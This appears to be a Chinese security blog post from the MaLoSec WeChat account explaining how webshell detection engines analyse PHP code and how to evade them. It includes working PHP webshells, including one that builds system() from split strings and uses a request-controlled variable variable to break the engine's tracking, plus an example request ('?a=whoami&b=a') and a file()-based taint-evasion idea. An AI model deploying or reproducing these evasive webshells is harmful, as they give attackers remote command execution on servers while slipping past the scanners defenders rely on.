一、引擎的检测思路(个人理解)
静态:
通过样本库,正则匹配规则库等等进行匹配,检测是否命中规则。
动态:
污点标记:常见的传参方式都会被标记为污点入口,如POST,GET。
例如(PHP):<?php $a=$_GET['a'];$b=$$a;$b($_GET['b']);?>
模拟赋值:在变量为未知时,引擎会自定义赋一些值进入程序中模拟执行探查是否恶意。
模拟追踪:传统的变量传递,引擎会追踪且分析出它们最后的值。
例如(PHP):<?php $a='b';$b=$a;$c=$b;?>
模拟执行:将代码放入沙箱模拟执行。
二、检测引擎的绕过思路
绕过 污点标记
利用非常规输入方式绕过
例如:file()函数,读取自身进行绕过。
<?php
file('XXX');
substr(file('XXX')[0]);
#读取XXX文件第一行,也可添加写文件代码,通过读取自定义文件获取自定义内容。
?>
这里只是举例一个思路,大家可以多多思考其他方式,比如利用一些其他非常规传值方式进行绕过……
绕过 模拟追踪
先看一段代码,我们简单分析一下引擎大概率如何追踪并查杀的
<?php
$a='sys';
$a.='tem';
#通过字符拼接得 system
$c=$_GET['a'];
$a($c);
#最后组合即可获得一个常见的webshell(system($_GET['a']);),最后识别为恶意
?>
我们需要思考引擎的追踪方式,如果让代码中其中一个$a变的可控,那它该怎么追踪呢?
<?php
$a='sys';
#引擎跟踪‘sys’赋值到了$a;
${$_GET['b']}.='tem';
#到这引擎并不知道‘tem’赋值给了谁。
$c=$_GET['a'];
$a($c);
#引擎在这拼接时,得到:sys($_GET['a'])的一段代码,这时候并不满足恶意代码的条件。
?>
#最终识别为正常
#?a=whoami&b=a
三、总结
文章中的思路是个人在一些线上webshell检测平台测试并进行总结的,在对抗中需要一些奇思妙想,利用各种特性进行绕过。
免责声明由于传播、利用本公众号MaLoSec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号MaLoSec及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(MaLoSec):webshell检测引擎对抗思路